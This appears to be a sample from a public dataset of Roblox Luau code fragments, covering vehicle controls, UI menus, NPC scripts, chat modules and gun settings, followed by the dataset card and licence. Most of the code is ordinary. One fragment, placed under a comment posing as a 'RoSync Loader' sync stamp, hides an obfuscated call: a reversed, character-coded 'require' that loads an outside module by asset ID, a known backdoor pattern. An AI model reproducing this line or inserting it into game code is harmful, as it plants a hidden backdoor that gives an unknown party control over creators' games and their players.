for i = 0, 1, 0.2 do
wait()
home.Parent[AppToLaunch].ImageTransparency = i
end
home.Parent.Visible = false
end
end
local function LaunchHome()
for i, v in pairs(home.Parent:GetChildren()) do
if v.Name == "Music" or v.Name == "Maps" or v.Name == "Settings" or v.Name == "BMW" or v.Name == "NowPlaying" or v.Name == "Podcasts" or v.Name == "Phone" then
handler:FireServer("LaunchHome")
script.Parent.CarPlay.Music.Library.Visible = true
script.Parent.CarPlay.Music.Playlists.Visible = false
for i, app in pairs(script.Parent.CarPlay:GetChildren()) do
if app:IsA("Frame") and app.Visible == true then
app.Visible = false
end
end
script.Parent.CarPlay:FindFirstChild(v.Name).Visible = false
home.Parent.Visible = true
v:TweenSizeAndPosition(UDim2.new(0.23,0,1,0), UDim2.new(X,0,Y,0), "Out", "Quint", 0.5, true)
home.Visible = true
v.ImageTransparency = 0
v.ZIndex = 2
v.IconName.Visible = true
v.Parent = home
wait(.4)
for i, app in pairs(home:GetChildren()) do
if app:FindFirstChild("AppEnabled") then
app.AppEnabled.Value = true -- no jerks that can mess carplay
end
end
end
end
end
local function LoadPlaylist(PlaylistName)
local Y = 0
local NextY = 0.039
music.Playlists.MusicPlaylist:ClearAllChildren()
local Data = script.Parent.CarPlay_Data.Playlists[PlaylistName]
music.Playlists.PlaylistName.Text = PlaylistName
for i, musics in ipairs(Data:GetChildren()) do
if musics:IsA("IntValue") then
handler:FireServer("LoadPlaylist",PlaylistName, musics.Name, musics.Value, Y)
local Template = music.Playlists.Template:Clone()
Template.Name = musics.Value
Template.MusicTitle.Text = musics.Name
Template.MusicID.Text = musics.Value
Template.Position = UDim2.new(0.037,0,Y,0)
Template.Parent = music.Playlists.MusicPlaylist
Template.Pitch.Value = musics.Pitch.Value
Template.Visible = true
Y = Y + NextY
end
end
for i, playlists in ipairs(script.Parent.CarPlay.Music.Playlists.MusicPlaylist:GetChildren()) do
if playlists:IsA("TextButton") then
playlists.MouseButton1Down:connect(function()
TransitionTo("Playlists", "NowPlaying")
AddRecentApp("NowPlaying")
script.Parent.CarPlay_Data.NowPlayingData.CurrentPlaylist.Value = PlaylistName
script.Parent.CarPlay_Data.NowPlayingData.SongNumber.Value = i
PlayMusic(playlists.MusicTitle.Text, playlists.MusicID.Text, playlists.Pitch.Value)
end)
end
end
end
local function CreatePlaylists()
local Y = 0.002
local NextY = 0.092
music.Library.LibraryButtons:ClearAllChildren()
local Data = script.Parent.CarPlay_Data.Playlists
for i, playlists in ipairs(Data:GetChildren()) do
if playlists:IsA("Folder") then
local Template = music.Library:WaitForChild('Template'):Clone()
Template.Parent = music.Library.LibraryButtons
Template.Name = playlists.Name
Template.Visible = true
handler:FireServer("CreatePlaylist", playlists.Name, Y)
Template.PlaylistName.Text = playlists.Name
Template.Position = UDim2.new(0.025, 0, Y, 0)
Y = Y + NextY
end
end
for i, playlists in ipairs(script.Parent.CarPlay.Music.Library.LibraryButtons:GetChildren()) do
if playlists:IsA("TextButton") then
playlists.MouseButton1Down:connect(function()
TransitionTo("Library", "Playlists")
LoadPlaylist(playlists.Name)
end)
end
end
end
function TransitionTo(Prev, Next)
if debounce == false then
debounce = true
for i, frame in ipairs(script.Parent.CarPlay:GetDescendants()) do
if frame:IsA("Frame") and frame.Name == Prev then
frame:TweenPosition(UDim2.new(-1,0,0,0), "Out", "Quint", 0.5, true)
local framediss = coroutine.wrap(function()
wait(.5)
frame.Position = UDim2.new(0,0,0,0)
frame.Visible = false
end)
framediss()
end
if frame:IsA("Frame") and frame.Name == Next then
frame.Visible = true
frame.Position = UDim2.new(1,0,0,0)
frame:TweenPosition(UDim2.new(0,0,0,0), "Out", "Quint", 0.5, true)
end
handler:FireServer("Transition", Prev, Next)
debounce = false
end
end
end
|
-- << VARIABLES >> |
local frame = main.gui.MainFrame.Pages.Settings
local pages = {
custom = frame.Custom;
}
local themeColors = main.settings.ThemeColors or {
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
}
|
-- Make the ScrollingFrame, which holds the rest of the Slots (however many) |
ScrollingFrame = NewGui('ScrollingFrame', 'ScrollingFrame')
ScrollingFrame.Selectable = false
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
ScrollingFrame.Parent = InventoryFrame
UIGridFrame = NewGui('Frame', 'UIGridFrame')
UIGridFrame.Selectable = false
UIGridFrame.Size = UDim2.new(1, -(ICON_BUFFER*2), 1, 0)
UIGridFrame.Position = UDim2.new(0, ICON_BUFFER, 0, 0)
UIGridFrame.Parent = ScrollingFrame
UIGridLayout = Instance.new("UIGridLayout")
UIGridLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIGridLayout.CellSize = UDim2.new(0, ICON_SIZE, 0, ICON_SIZE)
UIGridLayout.CellPadding = UDim2.new(0, ICON_BUFFER, 0, ICON_BUFFER)
UIGridLayout.Parent = UIGridFrame
ScrollUpInventoryButton = MakeVRRoundButton('ScrollUpButton', 'rbxasset://textures/ui/Backpack/ScrollUpArrow.png')
ScrollUpInventoryButton.Size = UDim2.new(0, 34, 0, 34)
ScrollUpInventoryButton.Position = UDim2.new(0.5, -ScrollUpInventoryButton.Size.X.Offset/2, 0, INVENTORY_HEADER_SIZE + 3)
ScrollUpInventoryButton.Icon.Position = ScrollUpInventoryButton.Icon.Position - UDim2.new(0,0,0,2)
ScrollUpInventoryButton.MouseButton1Click:Connect(function()
ScrollingFrame.CanvasPosition = Vector2.new(
ScrollingFrame.CanvasPosition.X,
Clamp(0, ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y, ScrollingFrame.CanvasPosition.Y - (ICON_BUFFER + ICON_SIZE)))
end)
ScrollDownInventoryButton = MakeVRRoundButton('ScrollDownButton', 'rbxasset://textures/ui/Backpack/ScrollUpArrow.png')
ScrollDownInventoryButton.Rotation = 180
ScrollDownInventoryButton.Icon.Position = ScrollDownInventoryButton.Icon.Position - UDim2.new(0,0,0,2)
ScrollDownInventoryButton.Size = UDim2.new(0, 34, 0, 34)
ScrollDownInventoryButton.Position = UDim2.new(0.5, -ScrollDownInventoryButton.Size.X.Offset/2, 1, -ScrollDownInventoryButton.Size.Y.Offset - 3)
ScrollDownInventoryButton.MouseButton1Click:Connect(function()
ScrollingFrame.CanvasPosition = Vector2.new(
ScrollingFrame.CanvasPosition.X,
Clamp(0, ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y, ScrollingFrame.CanvasPosition.Y + (ICON_BUFFER + ICON_SIZE)))
end)
ScrollingFrame.Changed:Connect(function(prop)
if prop == 'AbsoluteWindowSize' or prop == 'CanvasPosition' or prop == 'CanvasSize' then
local canScrollUp = ScrollingFrame.CanvasPosition.Y ~= 0
local canScrollDown = ScrollingFrame.CanvasPosition.Y < ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y
ScrollUpInventoryButton.Visible = canScrollUp
ScrollDownInventoryButton.Visible = canScrollDown
end
end)
|
--bp.Position = shelly.PrimaryPart.Position |
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end
bp.Parent = nil
wait(math.random(3,8))
end
local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren()
shelly.Health.Changed:connect(function()
if shellyGood then
bp.Parent,bg.Parent= nil,nil
shelly.PrimaryPart.Transparency =1
shelly.PrimaryPart.CanCollide = false
shelly.Shell.Transparency = 1
shelly.HitShell.Transparency = 0
shelly.HitShell.CanCollide = true
shellyGood = false
ostrich = tick()
shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0))
local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
hitSound.PlayOnRemove = true
hitSound.Parent = shelly.PrimaryPart
wait()
hitSound:Destroy()
repeat task.wait() until tick()-ostrich > 10
shelly.PrimaryPart.Transparency = 0
shelly.PrimaryPart.CanCollide = true
shelly.Shell.Transparency = 0
shelly.HitShell.Transparency = 1
shelly.HitShell.CanCollide = false
bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart
shellyGood = true
end
end)
while true do
if shellyGood then
MoveShelly()
else
task.wait(1)
end
end
|
---Creator function return object keys |
local KEY_BASE_FRAME = "BaseFrame"
local KEY_BASE_MESSAGE = "BaseMessage"
local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction"
local KEY_GET_HEIGHT = "GetHeightFunction"
local KEY_FADE_IN = "FadeInFunction"
local KEY_FADE_OUT = "FadeOutFunction"
local KEY_UPDATE_ANIMATION = "UpdateAnimFunction"
local TextService = game:GetService("TextService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:wait()
LocalPlayer = Players.LocalPlayer
end
local clientChatModules = script.Parent.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local module = {}
local methods = {}
methods.__index = methods
function methods:GetStringTextBounds(text, font, textSize, sizeBounds)
sizeBounds = sizeBounds or Vector2.new(10000, 10000)
return TextService:GetTextSize(text, textSize, font, sizeBounds)
end |
-- Left Leg |
character:FindFirstChild("UpperTorso").LocalTransparencyModifier = 0
character:FindFirstChild("LowerTorso").LocalTransparencyModifier = 0 |
--[[
Returns a snapshot of this component given the current props and state. Must
be overridden by consumers of Roact and should be a pure function with
regards to props and state.
TODO (#199): Accept props and state as arguments.
]] |
function Component:render()
local internalData = self[InternalData]
local message = componentMissingRenderMessage:format(
tostring(internalData.componentClass)
)
error(message, 0)
end
|
-- Sounds |
local footstepsSound = rootPart:WaitForChild("Footsteps")
|
-- ====================
-- MISCELLANEOUS
-- Etc. settings for the gun
-- ==================== |
DualWeldEnabled = false; --Enable the user to hold two guns instead one. In order to make this setting work, you must clone its PrimaryHandle and name it like SecondaryHandle. NOTE: Enabling "CustomGripEnabled" won't make this setting working
AltFire = false; --Enable the user to alt fire. NOTE: Must have aleast two setting modules
MagCartridge = false; --Display magazine cartridge interface (cosmetic only)
MaxCount = 200;
RemoveOldAtMax = false;
MaxRotationSpeed = 360;
Drag = 1;
Gravity = Vector2.new(0, 1000);
Ejection = true;
Shockwave = true;
Velocity = 50;
XMin = -4;
XMax = -2;
YMin = -6;
YMax = -5;
DropAllRemainingBullets = false;
DropVelocity = 10;
DropXMin = -5;
DropXMax = 5;
DropYMin = -0.1;
DropYMax = 0;
|
--Basic stuff for the GUI interface |
vSpeed = math.sqrt((vParts.Seat.Velocity.x)^2+(vParts.Seat.Velocity.y)^2+(vParts.Seat.Velocity.z)^2)
PS.Coords.Text =" Coords: " .."("..math.ceil(vParts.Seat.Position.x)..","..math.ceil(vParts.Seat.Position.z)..")"
PS.Alt.Text =" Altitude: ".. math.ceil(vParts.Seat.Position.y).." ft"
PS.Speed.Text = " Speed: ".. math.floor(vSpeed).." Kt"
PS.VertSpeed.Text =" VertSpeed: ".. math.ceil(vParts.Seat.Velocity.y).." ft/sec"
PS.PN.Text = Plane_Name
|
--[END]]
--[[ Last synced 10/14/2020 09:23 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[=[
@param fn (player: Player, ...: any) -> nil -- The function to connect
@return Connection
Connect a function to the signal. Anytime a matching ClientRemoteSignal
on a client fires, the connected function will be invoked with the
arguments passed by the client.
]=] |
function RemoteSignal:Connect(fn)
if self._directConnect then
return self._re.OnServerEvent:Connect(fn)
else
return self._signal:Connect(fn)
end
end
function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any)
if not self._hasOutbound then
return ...
end
local args = table.pack(...)
for _,middlewareFunc in ipairs(self._outbound) do
local middlewareResult = table.pack(middlewareFunc(player, args))
if not middlewareResult[1] then
return table.unpack(middlewareResult, 2, middlewareResult.n)
end
end
return table.unpack(args, 1, args.n)
end
|
--["Walk"] = "rbxassetid://1136173829", |
["Walk"] = "http://www.roblox.com/asset/?id=507767714",
["Idle"] = "http://www.roblox.com/asset/?id=507766666",
["SwingTool"] = "rbxassetid://1262318281"
}
local anims = {}
for animName,animId in next,preAnims do
local anim = Instance.new("Animation")
anim.AnimationId = animId
game:GetService("ContentProvider"):PreloadAsync({anim})
anims[animName] = animController:LoadAnimation(anim)
end
local fallConstant = -2
run.Heartbeat:connect(function()
local part,pos,norm,mat = workspace:FindPartOnRay(Ray.new(root.Position,Vector3.new(0,-2.8,0)),char)
if target.Value then
local facingCFrame = CFrame.new(Vector3.new(root.CFrame.X,pos.Y+3,root.CFrame.Z),CFrame.new(target.Value.CFrame.X,pos.Y+3,target.Value.CFrame.Z).p)
bg.CFrame = facingCFrame
else
--bg.CFrame = CFrame.new(root.CFrame.X,pos.Y+3,root.CFrame.Z)
end
if target.Value then
bv.P = 100000
bv.Velocity = root.CFrame.lookVector*10
if not part then
bv.Velocity = bv.Velocity+Vector3.new(0,fallConstant,0)
fallConstant = fallConstant-1
else
fallConstant = -2
end
if not anims["Walk"].IsPlaying then
anims["Walk"]:Play()
end
else
bv.P = 0
bv.Velocity = Vector3.new(0,0,0)
anims["Walk"]:Stop()
anims["Idle"]:Play()
end
end)
while true do
local thresh,nearest = 60,nil
for _,player in next,game.Players:GetPlayers() do
if player.Character and player.Character.PrimaryPart then
local dist = (player.Character.PrimaryPart.Position-root.Position).magnitude
if dist < thresh then
thresh = dist
nearest = player.Character.PrimaryPart
end
end
end
if nearest then
if thresh < 5 then
anims["SwingTool"]:Play()
nearest.Parent.Humanoid:TakeDamage(8)
target.Value = nil
wait(1)
end
target.Value = nearest
else
target.Value = nil
end
wait(1)
end
|
--// All global vars will be wiped/replaced except script |
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local scr = client.UI.Prepare(script.Parent.Parent)
local window = scr.Window
local msg = data.Message
local color = data.Color
local found = client.UI.Get("Output")
if found then
for i,v in pairs(found) do
local p = v.Object
if p and p.Parent then
p.Window.Position = UDim2.new(0.5, 0, 0.5, p.Window.Position.Y.Offset+160)
end
end
end
window.Main.ScrollingFrame.ErrorText.Text = msg
window.Main.ScrollingFrame.ErrorText.TextColor3 = color
window.Close.MouseButton1Down:Connect(function()
gTable.Destroy()
end)
spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = "rbxassetid://160715357"
sound.Volume = 2
sound:Play()
wait(0.8)
sound:Destroy()
end)
gTable.Ready()
wait(5)
gTable.Destroy()
end
|
--[[Shutdown]] |
bike.DriveSeat.ChildRemoved:connect(function(child)
--[[if child.Name=="SeatWeld" and child:IsA("Weld") then
script.Parent:Destroy()
end]]
bike.Body.bal.LeanGyro.D = 0
bike.Body.bal.LeanGyro.MaxTorque = Vector3.new(0,0,0)
bike.Body.bal.LeanGyro.P = 0
bike.RearSection.Axle.HingeConstraint.MotorMaxTorque = 0
end)
|
--------------------------------------------------------------
-- You DO NOT need to add yourself to any of these lists!!! --
-------------------------------------------------------------- |
local Owners={} -- Can set SuperAdmins, & use all the commands
local SuperAdmins={} -- Can set permanent admins, & shutdown the game
local Admins={} -- Can ban, crash, & set Moderators/VIP
local Mods={} -- Can kick, mute, & use most commands
local VIP={} -- Can use nonabusive commands only on self |
--these are for button checks. It's kinda ugly so if you have a better way pm me |
ha=false
hd=false
hs=false
hw=false
imgassets ={
hazardoff="http://www.roblox.com/asset/?id=216957891",
hazardon = "http://www.roblox.com/asset/?id=216957887",
leftyoff = "http://www.roblox.com/asset/?id=216957962",
leftyon = "http://www.roblox.com/asset/?id=216957949",
rightyoff = "http://www.roblox.com/asset/?id=216957912",
rightyon = "http://www.roblox.com/asset/?id=216957903",
outoff="http://www.roblox.com/asset/?id=216957880",
outon = "http://www.roblox.com/asset/?id=216957874",
sirensoff = "http://www.roblox.com/asset/?id=216958870",
sirenson = "http://www.roblox.com/asset/?id=216958870",
wailoff = "http://www.roblox.com/asset/?id=216930335",
wailon = "http://www.roblox.com/asset/?id=216930318",
x4off = "http://www.roblox.com/asset/?id=216954211",
x4on = "http://www.roblox.com/asset/?id=216954202",
x2off = "http://www.roblox.com/asset/?id=216958009",
x2on = "http://www.roblox.com/asset/?id=216958007",
fastoff = "http://www.roblox.com/asset/?id=216957982",
faston = "http://www.roblox.com/asset/?id=216957977",
slowoff = "http://www.roblox.com/asset/?id=216957998",
slowon = "http://www.roblox.com/asset/?id=216957989",
lightsoff = "http://www.roblox.com/asset/?id=115931775",
lightson = "http://www.roblox.com/asset/?id=115931779",
lockoff = "http://www.roblox.com/asset/?id=116532096",
lockon = "http://www.roblox.com/asset/?id=116532114",
leftturn = "http://www.roblox.com/asset/?id=115931542",
rightturn = "http://www.roblox.com/asset/?id=115931529",
fltd = "http://www.roblox.com/asset/?id=116531501",
yelpon = "http://www.roblox.com/asset/?id=216930350",
yelpoff = "http://www.roblox.com/asset/?id=216930359",
phaseron = "http://www.roblox.com/asset/?id=216930382",
phaseroff = "http://www.roblox.com/asset/?id=216930390",
hiloon = "http://www.roblox.com/asset/?id=216930459",
hilooff = "http://www.roblox.com/asset/?id=216930471",
hornon = "http://www.roblox.com/asset/?id=216930428",
hornoff = "http://www.roblox.com/asset/?id=216930438",
wailrumbleron = "http://www.roblox.com/asset/?id=216930512",
wailrumbleroff = "http://www.roblox.com/asset/?id=216930520",
yelprumbleron = "http://www.roblox.com/asset/?id=216930566",
yelprumbleroff = "http://www.roblox.com/asset/?id=216930573",
phaserrumbleron = "http://www.roblox.com/asset/?id=216930585",
phaserrumbleroff = "http://www.roblox.com/asset/?id=216930595",
hyperhiloon = "http://www.roblox.com/asset/?id=216963140",
hyperhilooff = "http://www.roblox.com/asset/?id=216963128",
}
for _,i in pairs (imgassets) do
Game:GetService("ContentProvider"):Preload(i)
end
if gear == 1 then
script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.dn.Style = "RobloxRoundButton"
end
if gear == maxgear then
script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.up.Style = "RobloxRoundButton"
end
function gearup()--activated by GUI or pressing E
if lock then return end
if gear < maxgear then
gear = gear+1
watdo()
script.Parent.Gear.Text = (gear.."/"..maxgear)
end
if gear == maxgear then
script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.up.Style = "RobloxRoundButton"
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
script.Parent.dn.Style = "RobloxRoundButton"
elseif gear == 1 then
script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.dn.Style = "RobloxRoundButton"
script.Parent.up.TextColor3 = Color3.new(1,1,1)
script.Parent.up.Style = "RobloxRoundButton"
else
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
script.Parent.dn.Style = "RobloxRoundButton"
script.Parent.up.TextColor3 = Color3.new(1,1,1)
script.Parent.up.Style = "RobloxRoundButton"
end
end
function geardown()--activated by GUI or pressing Q
if lock then return end
if gear > 1 then
gear = gear-1
watdo()
script.Parent.Gear.Text = (gear.."/"..maxgear)
end
if gear == 1 then
script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.dn.Style = "RobloxRoundButton"
script.Parent.up.TextColor3 = Color3.new(1,1,1)
script.Parent.up.Style = "RobloxRoundButton"
elseif gear == maxgear then
script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.up.Style = "RobloxRoundButton"
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
script.Parent.dn.Style = "RobloxRoundButton"
else
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
script.Parent.dn.Style = "RobloxRoundButton"
script.Parent.up.TextColor3 = Color3.new(1,1,1)
script.Parent.up.Style = "RobloxRoundButton"
end
end
script.Parent.up.MouseButton1Click:connect(gearup)
script.Parent.dn.MouseButton1Click:connect(geardown)
script.Parent.up.MouseButton1Click:connect(gearup)
script.Parent.dn.MouseButton1Click:connect(geardown)
script.Parent.flipbutton.MouseButton1Click:connect(function()
if not flipping then
flipping = true
local a = Instance.new("BodyPosition",seat)
a.maxForce = Vector3.new(100000,10000000,100000)
a.position = seat.Position + Vector3.new(0,10,0)
local b = Instance.new("BodyGyro",seat)
wait(3)
a:Destroy()
b:Destroy()
flipping = false
end
end)
function turn()
if turndebounce == false then
turndebounce = true
wait(0.05)
repeat
templeft = turningleft
tempright = turningright
script.Parent.onsound:Play()
if turningleft == true then
script.Parent.leftturn.Visible = true
for _,i in pairs (leftturn) do
i.BrickColor = BrickColor.new("Deep orange")
end
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (leftflash) do
if lightson then
b.Enabled = true
end
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
end
if turningright == true then
script.Parent.rightturn.Visible = true
for _,i in pairs (rightturn) do
i.BrickColor = BrickColor.new("Deep orange")
end
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (rightflash) do
if lightson then
b.Enabled = true
end
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
end
wait(0.4)
script.Parent.offsound:Play()
script.Parent.leftturn.Visible = false
script.Parent.rightturn.Visible = false
if templeft == true then
for _,i in pairs (leftturn) do
i.BrickColor = BrickColor.new("Neon orange")
end
for _,b in pairs (leftflash) do
b.Enabled = false
end
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (leftbrake) do
b.Brightness = 1
end
else
if throttle > 0 then
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (leftbrake) do
b.Brightness = 1
end
else
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
end
end
if tempright == true then
for _,i in pairs (rightturn) do
i.BrickColor = BrickColor.new("Neon orange")
end
for _,b in pairs (rightflash) do
b.Enabled = false
end
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (rightbrake) do
b.Brightness = 1
end
else
if throttle > 0 then
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (rightbrake) do
b.Brightness = 1
end
else
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
end
end
wait(0.35)
until turningleft == false and turningright == false
turndebounce = false
end
end
seat.ChildRemoved:connect(function(it)
if it:IsA("Weld") then
if it.Part1.Parent == Player.Character then
lock = true
ha=false
hd=false
hs=false
hw=false
throttle = 0
steer = 0
watdo()
script.Parent.close.Active = true
script.Parent.close.Visible = true
script.Parent.xlabel.Visible = true
end
end
end)
seat.ChildAdded:connect(function(it)
if it:IsA("Weld") then
if it.Part1.Parent == Player.Character then
lock = false
script.Parent.close.Active = false
script.Parent.close.Visible = false
script.Parent.xlabel.Visible = false
end
end
end)
function exiting()
lock = true--when we close the gui stop everything
steer = 0
throttle = 0
watdo()
turningleft = false
turningright = false
script.Parent.flasher.Value = false
script.Parent.siren.Value = false
lightson = false
Instance.new("IntValue",seat)
for _,i in pairs (leftturn) do
i.BrickColor = BrickColor.new("Neon orange")
end
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (leftflash) do
b.Enabled = false
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
for _,i in pairs (rightturn) do
i.BrickColor = BrickColor.new("Neon orange")
end
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (rightflash) do
b.Enabled = false
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
script.Parent.Parent:Destroy()--destroy the 'Car' ScreenGui
end
function updatelights()
for _,i in pairs (leftbrake) do
i.Enabled = lightson
end
for _,i in pairs (rightbrake) do
i.Enabled = lightson
end
for _,i in pairs (brakelight) do
i.Enabled = lightson
end
for _,i in pairs (headlight) do
i.Enabled = lightson
end
if lightson then
script.Parent.lightimage.Image = imgassets.lightson
else
script.Parent.lightimage.Image = imgassets.lightsoff
end
end
script.Parent.lights.MouseButton1Click:connect(function()
if lock then return end
lightson = not lightson
updatelights()
end)
function destroycar()
seat.Parent:Destroy()--destroy the car
end
script.Parent.close.MouseButton1Up:connect(exiting)
Player.Character.Humanoid.Died:connect(destroycar)
game.Players.PlayerRemoving:connect(function(Playeras)
if Playeras.Name == Player.Name then
destroycar()
end
end)
for _, i in pairs (seat.Parent:GetChildren()) do--populate the tables for ease of modularity. You could have 100 left wheels if you wanted.
if i.Name == "LeftWheel" then
table.insert(left,i)
elseif i.Name == "RightWheel" then
table.insert(right,i)
elseif i.Name == "Rearlight" then
table.insert(rearlight,i)
elseif i.Name == "Brakelight" then
table.insert(brakelight,i.SpotLight)
elseif i.Name == "rightturn" then
table.insert(rightturn,i)
elseif i.Name == "leftturn" then
table.insert(leftturn,i)
elseif i.Name == "leftflash" then
table.insert(leftflash,i.SpotLight)
elseif i.Name == "rightflash" then
table.insert(rightflash,i.SpotLight)
elseif i.Name == "leftlight" then
table.insert(leftlight,i)
elseif i.Name == "rightlight" then
table.insert(rightlight,i)
elseif i.Name == "Headlight" then
table.insert(headlight,i.SpotLight)
elseif i.Name == "leftbrake" then
table.insert(leftbrake,i.SpotLight)
elseif i.Name == "rightbrake" then
table.insert(rightbrake,i.SpotLight)
elseif i.Name == "revlight" then
table.insert(revlight,i.SpotLight)
end
end
for _,l in pairs (left) do
l.BottomParamA = 0
l.BottomParamB = 0
end
for _,r in pairs (right) do
r.BottomParamA = 0
r.BottomParamB = 0
end
function watdo()
seat.Parent.LeftMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5)
seat.Parent.RightMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5)
for _,l in pairs (left) do--I do it this way so that it's not searching the model every time an input happens
if throttle ~= -1 then
l.BottomParamA = (.1/gear)
l.BottomParamB = (.5*gear+steer*gear/30)*throttle
else
l.BottomParamA = -.01
l.BottomParamB = -.5-steer/20
end
end
for _,r in pairs (right) do
if throttle ~= -1 then
r.BottomParamA = -(.1/gear)
r.BottomParamB = -(.5*gear-steer*gear/30)*throttle
else
r.BottomParamA = .01
r.BottomParamB = .5-steer/20
end
end
if throttle < 1 then
for _,g in pairs (rearlight) do
g.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (brakelight) do
b.Brightness = 2
end
if turningleft == false then
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
end
if turningright == false then
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
end
else
for _,g in pairs (rearlight) do
g.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (brakelight) do
b.Brightness = 1
end
if turningleft == false then
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (leftbrake) do
b.Brightness = 1
end
end
if turningright == false then
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Bright red")
end
for _,b in pairs (rightbrake) do
b.Brightness = 1
end
end
end
if throttle < 0 then
for _,b in pairs (revlight) do
if lightson then
b.Enabled = true
end
end
else
for _,b in pairs (revlight) do
b.Enabled = false
end
end
end
Player:GetMouse().KeyDown:connect(function(key)--warning ugly button code
if lock then return end
key = string.upper(key)
if not ha and key == "A" or key == string.char(20) and not ha then
ha = true
steer = steer-1
end
if not hd and key == "D" or key == string.char(19) and not hd then
hd = true
steer = steer+1
end
if not hw and key == "W" or key == string.char(17) and not hw then
hw = true
throttle = throttle+1
end
if not hs and key == "S" or key == string.char(18) and not hs then
hs = true
throttle = throttle-1
end
if key == "Z" then
geardown()
end
if key == "X" then
gearup()
end
if key == "Q" then
turningleft = not turningleft
turn()
end
if key == "E" then
turningright = not turningright
turn()
end
watdo()
end)
Player:GetMouse().KeyUp:connect(function(key)
if lock then return end
key = string.upper(key)
if ha and key == "A" or key == string.char(20)and ha then
steer = steer+1
ha = false
end
if hd and key == "D" or key == string.char(19) and hd then
steer = steer-1
hd = false
end
if hw and key == "W" or key == string.char(17) and hw then
throttle = throttle-1
hw = false
end
if hs and key == "S" or key == string.char(18) and hs then
throttle = throttle+1
hs = false
end
if key == "" then
--more keys if I need them
end
watdo()
end)
|
--[[Misc]] |
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
Dataset card
The Luau dataset is a collection of code fragments collected from the Roblox Luau Data Sharing program.
Only experiences where creators gave us permission to contribute to the public Luau Dataset were used for producing this dataset.
Languages:
Lua, Luau
License:
MIT
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
